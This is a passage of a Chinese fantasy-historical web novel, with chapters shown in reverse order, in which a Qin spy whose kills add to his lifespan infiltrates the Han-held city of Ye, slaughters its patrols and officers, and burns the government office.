但凡有人靠近他七步之内,头颅必然飞起。
剑挡断剑,甲挡破甲!
满身猩红,杀气盖世!
韩军那蒙昧的士气,在这火箭的照耀下瞬间崩溃……
第30章 索命阎罗,一人追杀上千人!
看到赵诚竟然提着剑与上百士卒对冲,县尉当时就笑出了声来,只当赵诚是个有勇无谋的莽夫。
但很快,县尉的笑容就渐渐凝固在了脸上。
只见那凶人提剑杀入军阵,瞬间激起一蓬蓬血花,冲势之锐,有若锥入囊中!
眨眼之间,已经冲入三丈有余,身后血花蓬蓬溅起,染红了一大片区域。
他的动作简单直接,却极为凌厉有效。
一举一动利落至极,用最小的动作幅度,或一剑封喉,或刺穿要害。
每一个微小的动作,都带来极致的杀伤,能轻松夺走一条性命。
所过之处,无数头颅飞起,鲜血飚射间,大量兵卒如同割麦子一般倒下。
一片又一片的士兵冲上去,与其对撞在一起,却好似枯草落在刀锋之上,瞬间一分为二。
他的剑落在士兵的甲胄上,就像是切豆腐一样,轻松切入刨开!
而士兵们的剑刃落在赵诚身上时,却好似被一股气机薄膜格挡,他的皮肤只是微微凹陷一点,剑刃就被挡开,根本造成不了伤势。
如此冲杀之间,赵诚的动作越来越简单,攻势却越来越凌厉,杀人的速度也是越来越快。
在其身后,已经倒下了无数尸体,人也在百人敌阵之中杀了几个来回。
在其前方,大量士卒脸色苍白,如见妖魔,畏缩不前。
更有甚者,丢了兵器扭头就跑。
“杀不死,这个人根本杀不死!”
“再这样下去我们都会死在这里!”
“妖!妖魔!”
“快跑啊!”
赵诚明显感觉自己进入了某种状态,剑法越来越是凌厉,动作越来越是利落!
见这些士卒要跑,哪里肯放他们离开,提剑便追杀过去。
于是官署前面就出现了这样一幕,前面数十士兵仓皇逃窜,后面一个人提着剑猛追!
赵诚的速度何其快,猛虎下山也不足以形容那势头之猛,这些普通士卒哪里跑得过他?
一声又一声的惨呼在身后不绝于耳,死亡的气息在后面疯狂逼近,吓得所有人肝胆欲裂!
就连县尉也是脸色大变,扭头就跑!
什么有勇无谋,神勇到这种地步,有没有谋已经不重要了。
再不跑,自己也要交代在这里!
“哪里跑!”
赵诚见到县尉要跑,放弃追杀四散而逃的士卒,直奔后方的县尉。
他体内元气滚滚涌动,小腿之上有气机爆发开来,三两步就跨越七八丈,径直来到县尉的身后。
县尉亡魂皆冒,惊恐万状!
他哪里见过奔速如此迅猛的人,再想回头反击已经是来不及了,脑袋瞬间搬了家。
远处,有呼喝声和火把的光亮在不断地靠近。
赵诚咧嘴一笑,他不慌不忙的在地上捡起新的武器弓箭,而后踏入官署之中。
一边走,一边缓慢深长的吐纳着。
随着大量天地元气融入体内,那些不算多的体力消耗瞬间就被补全了。
体内气机无尽,带来汪洋大海一般的力量。
激烈杀伐至今,状态依然好的可怕。
赵诚看了看系统。
【当前剩余寿命:4385年】
“杀到现在,夺寿两千五百年左右。”
“可惜杀人剑法还差上一点,到现在还没有入门。”
“反正还有时间,倒也不急。”
赵诚闲庭信步,散步般来到仓储区域,经过刚刚的战斗,这里连个护卫都看不到了,安安静静、空空荡荡。
他打开粮仓看了看,“粮也不多,按照城内守军的情况,省吃俭用,最多也就还能吃上七八天。”
思索了一下,他最后还是没有放火烧粮。
明天若是破了城,这些粮食都是自家的,现在要是烧了,不成了自己烧自己的粮草吗?
倒是跑到官署县治正所,一把火把正所点燃。
夜色里面的叶城正中,就此燃起了一大团火焰,黑烟冲天而起,就连四面城墙之上,都是注目而来。
韩江更是快步扑到城墙边上,眼睛瞪得老大,死死看着城中官署起火,怒气上涌几乎吐血!
“粮!!军粮!!”
“官署怎么会起火的?”
“都双这个废物,还没拿下那秦军间子,竟让间子闯入了官署之中放火烧粮!?”
他激怒攻心,嘴唇都咬破了却不自知。
“调兵!!给我把城围了,把那间子给我找出来杀了!!”
“杀了!!”
手下副将立刻领兵前去,大量兵马自城下大营涌出,直奔官署。
远远看去如同长龙,足有两三千的兵力。
……
官署外面,都双已经快要急尿了。
“这如何是好!?”
“县尉死了就死了,应急粮草还在里面啊……”
折腾了半宿,调来了这么多的兵力,没将秦军间子包围住也就算了,竟然还让他杀进了官署之中!
那特么全城的应急粮草可都在官署里面,本来粮食就不多了,要是再被那秦军间子烧了,就全完了!
“给我杀进去,把敌军间子找出来!”
他如此下令,手下们却磨磨蹭蹭,一点都不积极。
开玩笑,官署外面躺着五六十具尸体,再结合城中的传闻,谁还敢触那凶神的霉头?
都双大怒,“他已经游战半夜,现在正是强弩之末,谁进去伤了他,升职一级,赏百金!
谁要是能杀了他,升职三级,赏千金,封地千顷!”
重赏之下,必有勇夫。
没有好处还丢命的事情没有人愿意做,但是好处如此之大,就有人愿意提着脑袋干了。
有一个人嗷嗷叫着冲进去,其他人顿时害怕功劳被抢,立刻也跟着向着里面冲去。
结果一群人刚刚冲入官署,功劳还没看到影子,就先吃了好几箭,把命给丢了。
咻咻咻!
一连十几人相继倒下,原本还嗷嗷叫着想往里面冲的士兵顿时吓软了腿,再也不愿意进去,都挡在门口徘徊不前。
“蠢货!去侧面翻墙!去后院走小门!他一个人死守正门,其他方向还能都守住不成?”
士兵们一想也是。
于是纷纷绕行到官署侧面和后方,有的翻墙,有的走小门,有的翻狗洞,朝着官署内部涌入。
一时之间,四面八方都有敌军袭杀而来。
而在官署之内,赵诚搬了个椅子,翘着二郎腿,施施然坐在燃烧着大火的县治高台之上。
手中强弓随手拉开,又随手射出。
每一箭射出,就带走一名敌军,夺取着生命。
【你击杀了一名敌人,夺取寿命十三年!】
【你击杀了一名敌人,夺取寿命十一年!】
【你击杀了一名敌人,夺取寿命二十二年!】
……
看着系统之中的剩余寿命不断地增长,赵诚那英武的面容之上,出现了愉快的笑容,在这血与火的背景之下,显得如此妖异。
每一个有幸看到他笑容的人,心中都升起极致的惊恐感觉。
而在这种惊恐出现的瞬间,赵诚的箭锋已经紧随而至,精准的一箭封喉,将他们的性命收割。
随着四面袭杀,涌入官署的韩军更多的,但是官署之中传来的弓弦声也是越发的密集。
这节奏连贯紧凑,有条不紊,让都双心中一阵阵发凉,有了很不好的预感。
果然,不到一炷香的功夫,韩军如同潮水一般退去,又回到了都双军前。
有人苍白着脸说道,“大人,打……打不进去!”
“进去的弟兄,全都死了……”
都双气的骂娘,但是却没有办法。
别说这些士兵了,现在就连他自己都浑身发凉。
这人实在是太邪门了,如此激战半夜,硬是没看到他长什么样子,而手下却已经死了数百人!
可是里面的火还在烧啊!
这哪里是在烧官署,这是把他架在火上烤啊!
都双咬牙发狠,知道这时候再不制止,就算自己现在不死,回去之后也活不了。
他大吼一声,身先士卒向着里面冲去,“本将就不信了,再攻,随我一起杀进去!”
他起了亡命的心思,却还是推着一个士兵抵在身前,自己躲在后面向里面冲锋。
然而刚刚踏入官署大门,咻的一声利箭袭来,喉间就是一凉!
都双愕然的抹了抹喉咙,摸到一把鲜血,再低头一看,那只利箭竟然穿过全面人的脖颈,透入自己的咽喉!
“呃……”
他想要说什么,嘴里却只溢出了血水,力量如同潮水一般消逝,片刻不到就翻倒在地没了声息。
后面刚刚冲到一半的士兵,见状又全都退了回去。
士兵们面面相觑,最后不知道是谁扔掉了兵器,所有人顿时轰然逃散。
“都大人死了,凶神要杀出来了,快跑啊!”
上千士兵向后逃去。
里面的赵诚听到动静,顿时愕然。
“不是,怎么跑了?”
“近战还没开始呢,跑了怎么行?”
他也顾不得坐着了,站起身来就朝着外面追去。
于城中穿梭,在黑夜中追索。
如同索命的阎罗,紧追在敌军身后,不断收割着生命。
惨叫声不断在后面传来,前面亡命狂奔的士兵不少都吓得尿了裤子。
这煞神,怎么连跑都不让!
竟然一个人追杀他们上千人?
不给人留活路啊!
第29章 黑夜狩猎,敌城大乱
叶县城内。
火把如长龙划破城内夜色,呼喝声与脚步声撞破静夜与酣梦。
大量巡夜士卒全部出动,在城西街头巷尾细细搜寻秦军间子的踪迹,更是闯入百姓民宅,细细搜索,惹得无数人家人心惶惶,不敢再入睡。
咻咻咻!
弓弦轻响间,民宅房顶之上,陡然射出箭矢,闪着寒芒的箭锋接连没入巡逻士卒的咽喉,转眼之间四五个人接连倒下。
而那箭矢毫无停歇,一连串地射来,又是四人倒下,剩下最后一人丢了长剑,怪叫着仓惶逃窜。
“在这!!他在这!!”
他甚至连那人影如何都没有看清楚,身边的队友已经死了个干净。
赵诚跃下房顶,在尸首身上摸出箭矢和硬弓。
之前的硬弓在他的高频使用之下,已经出现了裂纹,用不了多久了。
背好了弓,放好了箭,赵诚回头一看。
在那民宅木窗缝隙里,一双孩童的眼睛正悄然探出来,想要看清外面的景象。
赵诚挥手斩灭了火把,院中陷入黑暗,遮掩了鲜血横流的惨像。
而后他一箭射在窗户旁边,“关窗!”
里面的大人吓得一个哆嗦,啪的一声将窗户关严。
赵诚一跃而去,消失在黑夜之中。
夜风之中,一句话在朗朗回荡。
“秦军不杀百姓,早日投降免死。”
……
韩军巡夜将领越是搜寻,越是不可思议,那秦军间子神出鬼没,箭术通神。
无论怎么围困,都能被他轻松突围而出,同时带走一队又一队的巡卒生命。
往往自己手下的士兵还没有看清楚对方身影,就全军覆没。
最可恶的是,这家伙还总是留下一个活口,任其仓皇逃窜,回来之后复述情况,往往能够吓得其他士卒胆战心惊。
如此一来,许多巡夜士卒都不敢再行动,指挥起来越发困难。
不得已之下,他直接将那逃窜回来的活口斩杀!
“逃兵就是这个下场!就算只剩下一个人,也要立刻示警,周围的同袍自然会支援过去,他根本无处可躲!”
“给我继续找,掘地三尺也要把人找出来!”
“这么多人,难道还拿不下一个秦军间子不成?”
他无论如何也想不到,一个秦军间子,竟然如此棘手。
不由得大为焦急。
……
此时,城头之上,韩江眉头紧皱,不断徘徊踱步。
如今秦军围城,他根本睡不着觉,正苦思破局之策,却见城中灯火通明,无数火把四处流窜。
于是唤来手下询问,一问之下,才知有秦军间子入城。
秦军间子入城,本也在他预料之中,城中资源匮乏,一旦开了北口,就算是有了缝隙可入,查得再严也会有漏网之鱼进来。
但让他不解的是,一个间子而已,被发现了那就是插翅难飞,抓到杀了便是,怎么能在城中搞出这么大的乱子?
“一个秦军间子而已,何故搞的这么大的阵仗,都双是干什么吃的?”
他皱着眉头,有责怪之意。
“属下也不知。”
韩江看了看外面看不到边际的秦军,又看了看城内一片混乱,不由得烦躁至极。
他挥了挥手道,“让他一个时辰之内把这间子找出来杀了,不然提头来见!”
“是!”
韩江气的摇头,“真是没一个有用的!”
他现在急得五脏俱焚,满嘴大火泡,旧的还没消去,新的就已经长出来了。
睡也睡不着,继续苦思冥想如何破局。
秦军重兵陈列在城东和城南,将城西放了出来,看似城西是个生路可供突围,但韩江知道,那是个绝路。
蒙武就等他熬不住,从城西突围,再以伏兵围歼,突围就是死路一条。
思来想去,除了固守,便只能等候援军。
“这个时候,军情应该早就到了宛城和新郑才是,若是有支援,两三日便能抵达。”
“秦国威压之时,楚国也曾表态会有所支援,怎么到现在还没有动静。”
……
城西。
冯全小心翼翼地躲避着巡夜守军。
每走一段距离就迅速躲藏起来,心惊肉跳地躲开守军,而后继续朝着军备之处摸去,一路上惊险至极,进程缓慢。
但走着走着,突然感觉巡逻密度大减,之前每走百步,就要遇到一队士卒。
但是现在,走出三百多步了,还是没有遭遇另一队士卒。
他不由得有些奇怪,“怎么越往里去守卫越是松弛?难道这地方不是军备重点?”
正疑惑间,又有一队士卒快步行来,冯全赶紧隐藏到角落阴影处,以柴捆遮挡身形。
在黑暗角落里面,却听到士卒们惊恐不安的声音。
“怎么突然调咱们去城西?”
“唉,那边有个秦军间子作乱,杀了巡夜营四五十号人了,巡夜营大半出动,却怎么也抓不到这家伙的尾巴。”
“将军下了死命令,说一个时辰抓不到那间子,就让都大人提头去见!”
“秦军间子,杀了四五十号人??”
“不会吧,是不是秦军杀进来了,一个间子怎么可能杀这么多人的?”
“唉,说的就是呢!但那间子好像就只有一个人,到现在咱们得人连他长什么样都没看清楚,见过他的人全都死了!”
“前面的兄弟都快吓破了胆,这不,叫咱们这些不知情的去送命。”
“你怎么知道的?”
“我走了关系,刚从城西调过来,又他娘的被调回去了,这关系算是白走了!”
“……”
交谈声远去,冯全惊呆了。
都尉大人当真神勇!
他头一次知道,做死间还能这样明目张胆四处杀人的,不过看这混乱的架势,对方好像还拿大人没有什么办法!
如此一来,大量的士卒都向着城西涌去了,他的压力大减。
他悄然没入城墙下的守备区周围,仔细观察之下,将许多细节记在脑袋里面。
而后趁着夜色,又沿着城墙摸去,寻找墙基薄弱之处……
……
【你击杀了一名敌人,夺取寿命十二年!】
【你击杀了一名敌人,夺取寿命十九年!】
【你击杀了一名敌人,夺取寿命二年!】
“嘿,这悬有韩旗,莫不是官署?”
在巡夜营拼命搜寻城西的时候,赵诚已经突围而出,摸到了城中央偏北的官署区外面。
看着夜色中飘扬的韩旗,他咧嘴乐了。
这官署区是叶县的权利核心,主署是县治之所,内设府库,户籍简牍与应急粮草,算是城防重点,在这搅动一番,敌军还不大乱?
他摸到瞭望亭之下,举弓便射。
咻咻两声,瞭望亭上警戒的士兵便栽落下来,赵诚飞身而上,直接占据了瞭望亭高点,观察起宫署区的部署来。
如此居高临下,宫署区的布局和兵力布防尽皆收入眼中。
夯土台基上的三进院落,檐下悬警报用的青铜编钟,仓储区在南侧,有上百兵力守卫,一看便知道这地方是守卫重地。
而在高亭之下,也有一些士兵警戒。
赵诚观察片刻,心中很快有了数,趁着居高临下,等到那巡逻士兵踏入射程之内,再次开弓射杀。
咻咻咻!
箭矢破空声音划破夜色,十来个巡逻士卒一连串的倒下。
有反应快的见势不妙立刻示警,拼命敲响铜锣。
“敌袭!”
下方瞬间大乱,许多士兵聚集而来,在这个过程中,依然有不少士卒接连倒下。
士卒们惊骇欲绝,好在县尉及时出现,立刻敲响了檐下铜钟,声音传荡开来的同时,他命令士卒对着高亭之上的赵诚反击。
“把他射下来!”
“其他人,围住高亭,他跑不掉的!”
县尉也是有着丰富战斗经验的,只不过这一次秦军压境,韩派了韩江带兵来守叶县,他才在城中守卫官署,治理后勤。
如今见到一个秦军间子孤身来闯宫署,顿时冷笑不已。
“上高亭?自绝后路!我倒要看看你怎么跑。”
然而赵诚根本就没打算跑,站在高亭之上居高临下,与下方兵卒悍然对射。
兵卒们的臂力有限,就算是硬弓尚且还开不满,更何况以下射上。
那箭矢还没到高亭之上,就已经没了力道,就算落在赵诚身上也是不疼不痒。
赵诚却是居高临下,开弓如满月,箭出如流水,一箭接着一箭毫不停歇,根本没有疲惫之意。
这一支箭矢,就能夺去一条性命,至少也是三五年寿命到账,多的更有二三十年。
不过一盏茶功夫,寿命再增五百年!
下方对射的兵卒已经倒下了一大半,都是一箭封喉。
其余士卒也发现了不对劲,纷纷后撤,不敢再和上面的赵诚对射。
一个个畏缩不前。
县尉脸色终于变了,这他娘的是敌方死间??
如此猛将怎么舍得派来做死间的?
“后撤,围住他,等援军,他跑不了!”
铜钟已响,城中的巡夜营用不了多久就会赶到,到时候大军包围,他插翅难飞!
县尉胸有成竹。
却不想,那高亭之上的猛人射程之远,超乎想象。
即使士卒撤出了正常的射程范围,依然还是被他射杀了好几个人,再次后撤,才算是脱离范围。
而上方则是传来咯嘣一声,硬弓竟然被那家伙拉断了!
县尉目瞪口呆,何等神力?
还没等他反应过来,那身影竟然一跃而下,双手在高亭的木桩上拍了几下,就如此稳稳落地,简直如同飞虎一般!
县尉胆战心惊。
这他娘到底是什么人啊,就这么飞下来了?
不过他不在高台之上死守,还敢下来,不是找死?
“上!将他围杀在此!”
其他兵卒早就憋了一口气,见赵诚弓都拉断了,没有箭可射,立刻一拥而上,想要将赵诚围杀!
而让他们想不到的是,这家伙竟然不跑,还提着剑与上百人对冲过去!
这可让县尉笑出了声来,“何其鲁莽!”
“怪不得被秦军当成弃子,死间入城,原来是个莽夫。”
第28章 我秦军间子,入韩军守城?
百将徐山笑眯眯地看着赵诚将兔子也处理了,架在火上烤着。
在他看来,猎户一家一两天不吃米也是饿不死的。
而只要家人还饿着肚子,明天这猎户就必须上山拼命打猎。
既然出去打猎了,回城还不得再来献上野货,亲自给自己烤肉吃?
徐山对自己的计策很是满意,下刀在那烤獐子上面切了一块肉塞进嘴里。
这肉一入嘴,喷香之气回荡开来,让徐山享受至极。
“呼,香!”
秦军围城好几日了,守军的日子过得也是越来越差,他也好多天没有吃到肉,更不要说烤得如此绝妙的烤肉了。
若是……
徐山眼睛一转,再次打量了赵诚两眼,说道,“明日下山,带着猎物来我这里报到。”
“这……”赵诚面色有点为难,“大人要小的做什么?”
徐山笑道,“我看你身材高大精壮,打猎烤肉也是一把好手,不若入了军伍,为抵御秦军贡献一份力量。”
赵诚一愣,心中有点震惊了。
不是,我是秦军间子啊,你让我加入韩军守城??
徐山见他愣住,一脸震惊的样子,好笑道,“看你怕的,放心,不用你去打仗,你就做你擅长的事情,去山里打了野货来,再给将军烤肉去!”
“这可是一桩大机缘,也就是我与将军私交深厚,换个人来,你可没有这么好运气为将军烤肉。”
“给将军烤肉!?”
赵诚更震惊了。
正愁怎么弄死你们将军呢,你让我去给你们将军烤肉?
那你们将军不完了吗?
还以为这家伙有几分头脑,没想到是最强猪队友!
“你不愿意!?”徐山面目瞬间阴沉下来,竟然现出了一丝杀气。
赵诚连连点头,“愿意,小的太愿意了!给将军烤肉是我的福分!”
“这才对嘛。”徐山面色柔和许多,“近来秦军围城,这些卑鄙狡猾的秦军,不敢攻城,却阴险地筑坝截流,害得城里都快没有了水喝!”
“将军最近焦头烂额,情绪不佳,你去给他烤个野货吃,没准他一开心,还能赐你个军官当当,到时你家里还怕吃不饱饭吗?”
“多谢将军,多谢将军。”赵诚连连道谢,十分真诚,更是提出,“要不然,今天我就去给将军烤肉如何?”
百将看了看烤獐子,摇头道,“你现在哪有什么肉可烤,再说这烤獐子就得现烤现吃才好吃,凉了就不好吃了。”
“明日吧。”
“好了,你回去吧,明日打了野货来我这报到,若是不见你人……”
徐山目光透着危险。
赵诚连连保证自己明日必到。
他走出营地,身后传来欢快热闹的吃肉声音。
戍卒们吃着烤肉,不亚于一场狂欢。
……
赵诚依照着冯全和封若留下的标记,很快与两人在巷子里汇合。
冯全和封若见到他,纷纷松了口气。
“大人,这太危险了。”
“我俩为此心惊胆战了好久。”
赵诚笑道,“此番收获不小。”
二人连忙追问,赵诚将情况一说,二人顿时脸色古怪。
“这……韩军可真不是人,不光要猎户的肉,连人都不放过。”
“不过咱们是秦军间子啊,他让大人去给守将烤肉,这不是送上门来?”
“非也非也,就算去给将军烤肉,那周围也全是守军重兵,大人去了又能做什么?”
“至少能够获得关键情报。”
不论是冯全还是封若,都本能地认为,在敌军城头刺杀守将,与寻死无异。
但赵诚自己的情况自己知道,一个人全杀守军是有些麻烦,但只要靠近了守将,杀个守将却轻松至极,多少人也拦不住他。
他想了想说道,“这事情我自有打算,明日你们还是随我出城,顺便将情报传递给将军。”
“可准备好藏身之处了?”
“大人随我来。”
冯全领着赵诚向着东市南面走去。
叶县之中,居民区以闾里区划,共设廿三闾里,赵诚所说的东市之南,正合平民所住的黔首闾区域。
而冯全和封若则是在赵诚与大脑袋套话的时候,就清楚了赵诚的意思,此时已经准备好了去处。
三人穿城而过,一路上听到叶县百姓人心惶惶,家家户户水粮将尽,对于秦军又是痛恨又是畏惧。
到了东市之南,赵诚三人来到黔首闾一个角落,这里有三居不起眼的民房。
冯全和封若带着赵诚踏入正中一间,关上了木门,走至里间,一个枯瘦老汉坐在地上被捆绑着,一脸惊恐地看着三人进来。
“大人,这三户都是地方偏僻,与其他人家联系不多,在城中也无人注意,咱们三人明面上是三户邻居,所以这三户的人我们都给绑起来了。”
“杀不杀由大人做主。”
赵诚看了看老汉,摇头道,“用不着杀,绑好了丢到地窖里面去,做得稳妥一点,不要让他发出声响。”
虽说杀人可以夺寿,但他不屑于击杀手无寸铁的百姓。
封若二人的令,很快处理妥当,又回来复命。
赵诚看了看天色,“入夜行动,你们去探查军备力量,守卫虚实,明日传递给将军。”
“我去看看粮草……”
……
夜深人静,梆子报时的敲击声回荡在城中。
三个黑影悄无声息地从黔首闾摸了出去。
当先一人踏入黑夜,立刻如同野豹一般消失不见。
另外两人,一人向着东面城墙之下摸去,一人向着城南方向摸去,这两个方向也是秦军布阵的主攻方向,地方必然分兵防守,有虚有实。
除此之外,他们还需要探查城墙年久失修的地方,如雨季渗水点、地基沉降段,方便秦军攻破城墙薄弱段。
如今城中韩军紧张,戒备森严,到处都有士兵巡逻,十人一队,持剑背弓。
赵诚入了城,在这黑夜遮掩之下,简直就像是游龙归海一般自在无比。
他与房顶矮墙之上穿梭来去,悄无声息,灵活敏捷的如同夜里的一只野猫。
不消片刻,就锁定了一队巡逻过来的士兵。
“该给冯全他们减轻点压力。”
想着,赵诚已然轻飘飘落下,悄无声息间站在巡逻队伍最后一名士兵的身后,单手抓住士兵脖颈一捏!
咔嚓声响下,士兵脖颈瞬间爆碎,脑袋耷拉下来,已经没了声息。
【你击杀了一名敌人,夺取寿命十五年。】
这喀嚓声在静谧的深夜里显得有点突兀,前方士兵回过头来,“小九,你踩到什么……呃!”
他回头的瞬间,瞳孔骤缩。
只见小九已经倒在地上暴毙,而在其身前,有一精壮高大的黑影正提着他的长剑冲至身前,剑刃在他的眼中不断地放大!
嗤!
头颅飞起。
鲜血挥洒间,小队终于反应过来,顿时大乱。
“什么人!?”
“敌人入侵!”
“是秦军间子!”
“示警,示……”
有人正要敲击腰间的铜锣,赵诚手中猎刀飞出,瞬间嵌入他的脖颈,直接将其远程击杀!
巡逻士兵大骇,一连数人在慌乱中,朝着赵诚围杀而来。
但在这种环境下,他们在赵诚的眼中,和山林里面的野兔没有什么区别。
元气盈满的身躯力量滚滚流动,犹如山崩海啸一般。
只是轻轻挥手,长剑便横扫而过。
嗤!
一声轻响。
冲过来的四个巡逻士兵脑袋同时飞起,在赵诚身前倒下一片,鲜血飚射横流。
其余士卒见此瞳孔骤缩,全都汗毛倒立,双腿发软,怔怔不敢上前。
“妖……妖魔!”
他们不敢上前,赵诚却不打算放过他们,一冲而上,轻松将所有士卒斩杀。
在一地鲜血尸首之中,踱步远去,背影再次融入黑夜。
【你击杀了一名敌人,夺取寿命十七年。】
【你击杀了一名敌人,夺取寿命九年。】
【你击杀了一名敌人,夺取寿命二十三年。】
【……】
“啧,这么多短命鬼。”
赵诚开了开夺来的弓,不是很满意,不过也还能凑合用。
片刻之后,城中尸首被人发现,铜锣声急响间,城西大乱起来。
更多兵力涌入城西,朝着血迹脚印的方向追索而去,走出没多远,却再次看到一队士卒的尸首。
“又是一队!全都是被一箭封喉!”
“秦军这是潜入了多少人,杀了咱们二十个人,他们就没有人死伤吗?”
“看脚印,好像只有一个人!”
“怎么可能!?一个人杀了二十个人,安然退走?”
一时间,人人胆寒。
城中负责巡安的守将怒道,“继续搜!不能让他在城中肆意妄为,每队距离不要太远,向西面包围过去,一个苍蝇也不能漏了!”
“我就不信他一个人还能把整个巡夜营都杀了不成?”
火把照亮了城西,大量巡逻士卒涌入街头巷尾,向着赵诚离开的方向包围过去。
第27章 徒手夺弓,率众突围
嗤嗤嗤!
数名斥候精锐瞬间中箭倒地不起,冯全封若二人拉着赵诚,飞快闪避至树后丛中,脸色焦急。
“糟了,敌军早有埋伏,咱们进了他们的口袋!”
此时,四面八方都传来窸窸窣窣的脚步声,弓弦响动在每一个方向。
不知不觉间,他们竟然被包了饺子。
众人都是乔装打扮而来,身上最多有把砍柴刀,再加上敌方早有准备,人数很多,包围很严。
此时就算是最精锐的斥候,也是无计可施。
赵诚抬眼看向林中,有敌军身影若隐若现。
“你们在此藏好,我去看看……”
冯全二人一惊,刚想要拉住他,却发现赵诚已经消失在前方丛林中。
那身影宛若猎豹,倏忽远去。
没多久,赵诚离去的方向突然传来敌军惨呼声,而后便是弓弦炸响声。
一众斥候纷纷一惊。
这种弓响实在是太有辨识度了,除了都尉大人,谁能把弓拉到这种程度?
“快,向都尉大人方向突围!”
众斥候就像是得到了明确信号一般,全都默契十足的向着弓响的方向行进。
弓弦炸响声不远传来,也不断向着远处推进。
冯全封若带着一众斥候紧随其后,沿途看到不少敌军尸体,各个一箭封喉,他们立刻将尸体上面的装备扒了下来。
既作伪装,也作抵抗力量。
而后紧随弓弦炸响声传来的方向,开始突围。
熟悉的感觉又回来了。
有赵诚在前,他们根本遇不到多少敌人,没过多久,就突破了敌军的包围圈,真正踏入了叶县居民采集物资的区域。
至此,所有人都长出一口气。
而赵诚也丢了弓箭,与众人再次汇合。
“虽说已经突围,但如今城中物资匮乏,不光是居民,韩军也会派人进来采集物资,恐怕少不了斥候和暗哨。
为免打草惊蛇,咱们从现在开始分开行动,以暗号联系。”
至此,一众斥候立刻散开行动,各自潜伏。
只有冯全和封若跟随在赵诚身边,三人一起继续深入。
……
昆阳山陡峭,多悬崖峭壁和密林,许多地方还有峡谷,只能供一两人同行
赵诚几人越走越深,渐渐看到了被樵夫猎户踩出来的羊肠小道。
冯全和封若也与赵诚保持着一定的距离,前去砍柴了。
樵夫无柴不会回城,所以冯全两人还需要搞一大捆柴才能准备进城。
赵诚等着,也不着急,找了堆枯叶枯枝,直接钻木取火。
赵诚将打来的两只野兔子拿下来,三两下清理到位,以木矛穿着,烤了起来。
等到冯全封若柴砍得差不多,赵诚的兔子已经烤的外焦里嫩,香味扑鼻。
他揪下兔子大腿,一口咬下去,满口留香,顿时露出满足的笑容来。
几大口下去,兔子大腿被他吃了个干净。
正要去揪另一只兔腿,远处传来脚步声,将枯枝树叶踩得咔咔作响。
同时有怒喝传来,“什么人在此生火!!”
赵诚抬头看去,却见两个穿戴着轻甲的韩兵气势汹汹而来,瞪视着自己。
他强压下宰了两人夺寿的冲动,解释道,“大人,我是城中猎户,在山上忙活太久,实在饿得不行,刚打了一些野货,想着填填肚子……”
两个韩兵看了赵诚一眼就不再看,目光被那烤的外焦里嫩散发香气的兔子黏住,各自咽了咽口水。
左边那大脑袋兵卒双目一瞪,喝问道,“如今秦军压境,你在此燃火生烟,难道不是传递军情?”
另一个粗脖子兵卒眼睛一直盯着那烤兔子,不自觉又咽了咽口水,已是急不可耐,“这定是秦军间子!拿下!”
赵诚早已看出两人真实意图,心念急转间,决定留两人一命,给自己当个跳板。
于是抬起猎刀,将兔子一分为二,递了上去。
“二位大人守城辛苦,这是咱的一点心意。”
两人顿时咧嘴笑了,嘴角都快要咧到后脑勺了,接过兔子就美滋滋的啃了起来,再不看赵诚一眼。
一边啃,还一边含糊的说,“你有心了……嗯!这兔子烤的不错。”
“看来你是常上山打猎烤兔的猎户,敌军的间子可没这个手艺。”
吃到了香喷喷的烤兔,可把他们俩高兴坏了,浑然不知自己在鬼门关走了两圈。
只见赵诚面露忧虑,“二位大人,这秦军太凶恶,攻不下城,不会真跑到这山上来杀人吧?”
那大脑袋兵卒说道,“放心,将军令我等在这山里警戒,以我等的敏锐,秦军根本无所遁形!”
“更何况,咱们将军在昆阳山东边早有布置,设下了天罗地网,那秦军只要敢来,必让他们有来无回!”
“就算有一两只漏网之鱼,咱们北山里还有许多兵力采集物资,兼顾巡逻示警,见一个杀一个!”
粗脖子也说道,“也就是你这兔子烤的像回事,不然刚刚那一行径,我们兄弟二人已经将你拿下了!”
你俩敏锐个鬼!
赵诚十分无语,不过脸上却依然忧虑,“我这一天都是提心吊胆,生怕哪里窜出个秦军来将我砍杀。”
“不然这样,我愿将这只獐子送给守军补充物资,只求与二位一同回城。”
大脑袋指着赵诚嘲笑道,“看你也五大三粗,打猎也算个好手,怎的如此懦弱?”
脖子粗则是不时瞥向赵诚的另一只野兔,“你那只兔子……不若也烤了吧?”
赵诚连忙将另一只兔子护住,保命似的,“家中米缸已经见底,还有父母幼妹,全靠这只兔子再多撑几天……”
大脑袋摆了摆手,不耐烦道,“行行行,一会与我们一同回去就是,不过这獐子,你可要说是我们打的。”
赵诚连连点头,“这是自然,这是自然。”
两个兵痞子把手中烤兔子吃的一干二净,连骨头缝里面的肉丝都给抠出来吃掉,这才拍拍屁股站起身来。
“走吧,随我们回城。”
却不想,赵诚突然对着山林喊了起来,“冯全,封若!快来,咱们回家了。”
“来了来了!”
两人满头大汗,从林子深处跑了过来。
他们背着一大捆柴火,都是驮着背。
当看到两个韩军站在赵诚身边,不由得心中一惊,背变得更驼,头也埋的更低了。
我的天,大人从哪找来两个韩军一起?
两个兵痞本来有些不耐,但当他们看到封若两人背的大捆柴火时,顿时又露出一丝笑意。
大脑袋看向赵诚,伸手指了指两人背后的柴火。
赵诚会意,对着冯全两人说道,“秦军作乱,山里危险,这二位大人好心,要送咱们入城嘞。”
“咱也不能让人家空跑一趟,你们这柴……”
冯全两人都傻了,这两韩军是瞎了吗,竟要护送敌方间子入城?
不过他们反应也快,“多谢军爷多谢军爷!只要能安然回家,这柴愿送给军爷一半补充军资。”
两兵痞乐开了花,“走吧。”
军中不论是夜间取暖还是生火做饭,都少不了薪柴,这是必须之物。
他们这些被派出来的士卒不单单要巡逻警戒,也需要采集一定的物资回去,是有任务目标的。
而如今他们两个什么都不用干,就能够拿到一只獐子和两大捆柴火,自然是乐得合不拢嘴。
于是两人带着赵诚三人,向着叶县城的方向大摇大摆走去,倒是轻车熟路。
一路上,赵诚与两人有一搭没一搭的闲聊,话里话外对两人十分崇敬,让两人不由得飘飘然起来,说了许多城中信息。
如此行进,时不时还会遇到其他上山巡逻采集的韩军。
“哦豁,獐子啊!”
“哈哈是啊,这小兄弟协助我们打来的。”
“还有两大捆柴呢,你们这一趟收获可不小。”
“没办法,他们一片心意,也不好拒绝啊。”
大脑袋一边打招呼,一边显摆自己的“收获”。
有他掩护,赵诚几人也是大摇大摆,却也无人察觉到他们的异样。
一路来到城北。
这叶县北面依靠山体峭壁,许多地方根本没有城墙,只凭峭壁就无人能过。
其中一些山体之间,则有狭窄的峡谷,可供百姓出城入山,韩军在此设立关隘,以抵抗渗透和小规模潜入。
